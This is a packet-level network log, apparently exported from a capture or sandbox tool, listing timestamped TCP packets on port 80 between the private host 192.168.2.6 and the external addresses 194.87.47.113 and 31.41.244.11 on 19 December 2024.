Dec 19, 2024 08:09:31.780931950 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.782258034 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.782435894 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.782438993 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.782609940 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.792880058 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.793050051 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.793658972 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.793766022 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.793802023 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.793874979 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.795105934 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.795231104 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.795394897 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.796598911 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.796701908 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.797420979 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.798152924 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.798247099 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.799451113 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.799612999 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.799768925 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.800105095 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.801076889 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.801203966 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.801527977 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.802515984 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.802606106 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.802834034 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.804022074 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.804131031 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.804322958 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.805485010 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.805529118 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.805634022 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.806972027 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.807080030 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.808435917 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.808535099 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.808585882 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.808610916 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.810034990 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.810081959 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.810203075 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.811480999 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.811528921 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.812690020 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.812902927 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.814543962 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.814656019 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.814708948 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.814814091 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.815116882 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.815213919 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.815231085 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.815604925 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.815944910 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.816046953 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.816073895 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.816976070 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.817044973 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.817159891 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.817189932 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.817281961 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.818135977 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.818244934 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.818252087 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.818351030 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.819226980 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.819420099 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.819478035 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.819478035 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.820463896 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.820559025 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.820614100 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.820667028 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.821460962 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.821644068 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.821680069 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.821803093 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.822544098 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.822643042 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.822676897 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.823019028 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.823606014 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.823729038 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.823762894 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.823815107 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.824712038 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.824799061 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.824831963 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.824968100 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.825777054 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.825871944 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.825921059 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.826050997 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.826886892 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.827032089 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.827392101 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.827992916 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.828110933 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.828134060 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.828197002 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.829077005 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.829193115 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.829221964 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.829252958 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.830197096 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.830459118 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.830615044 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.831257105 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.831391096 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.832350016 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.832389116 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.832452059 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.832586050 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.833444118 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.833529949 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.833570004 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.833679914 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.834541082 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.834650993 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.834686995 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.834803104 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.835623026 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.835710049 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.835791111 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.835791111 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.836888075 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.836972952 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.836992025 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.837057114 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.837821960 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.838032961 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.838066101 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.838217974 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.838884115 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.838968039 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.839027882 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.839128971 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.839993954 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.840105057 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.840133905 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.840178013 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.841069937 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.841183901 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.841202974 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.841423035 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.842176914 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.842348099 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.842359066 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.842466116 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.843265057 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.843375921 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.843390942 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.843456030 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.844367981 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.844495058 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.844794035 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.845457077 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.845614910 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.845649004 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.845772982 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.846551895 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.846637964 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.846671104 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.846726894 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.847636938 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.847768068 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.847945929 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.848714113 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.848829031 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.848835945 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.848900080 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.849844933 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.849992990 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.850025892 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.850303888 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.850922108 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.851044893 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.851104975 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.851687908 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.851994991 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.852132082 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.852431059 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.853101015 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.853177071 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.853235006 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.853372097 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.854180098 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.854315996 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.854346991 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.854424000 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.855285883 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.855411053 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.855413914 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.856375933 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.856476068 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.856496096 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.856600046 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.857475042 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.857583046 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.857692003 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.858597040 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.858674049 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.858704090 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.858758926 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.859678984 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.859824896 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.859863043 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.859977961 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.860788107 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.860924006 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.861720085 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.861848116 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.861946106 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.862031937 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.862031937 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.862914085 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.863059044 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.863092899 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.863260984 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.864042997 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.864097118 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.864129066 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.864157915 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.865137100 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.865189075 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.865222931 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.865274906 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.866220951 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.866364956 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.866370916 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.866602898 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.867260933 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.867331982 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.867367029 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.867373943 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.867409945 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.867444992 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.867502928 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.867971897 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.868079901 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.868098974 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.868398905 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.868452072 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.868592024 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.869440079 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.869494915 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.869529009 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.869613886 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.869617939 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.869652987 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.869782925 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.870579958 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.870708942 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.870712996 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.870799065 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.870918989 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.871016026 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.871428967 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.871664047 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.871871948 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.872369051 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.872486115 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.872515917 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.873898029 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.874010086 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.874042034 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.875361919 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.877418995 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.998820066 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.998954058 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.999475956 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.999800920 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.999836922 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.999859095 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.000686884 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.000720978 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.000782013 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.002145052 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.002182961 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.002252102 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.002835989 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.003622055 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.003726959 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.005112886 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.005155087 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.005248070 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.006562948 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.006725073 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.006788969 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.006829023 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.006869078 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.006910086 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.006952047 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.007267952 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.007499933 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.007529020 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.007535934 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.008018970 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.008050919 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.008137941 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.008608103 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.008651972 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.008681059 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.009001970 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.009514093 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.009619951 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.009640932 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.009696960 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.009732962 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.009772062 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.009802103 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.010792017 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.010889053 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.010946989 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.011051893 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.011086941 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.011514902 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.011861086 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.011970997 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.011998892 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.012509108 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.012558937 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.012568951 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.012622118 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.012983084 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.013103008 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.013134956 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.013895988 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.013942957 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.014053106 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.014089108 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.014128923 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.014156103 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.014168978 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.014240980 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.015162945 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.015244007 CET	80	49858	31.41.244.11	192.168.2.6
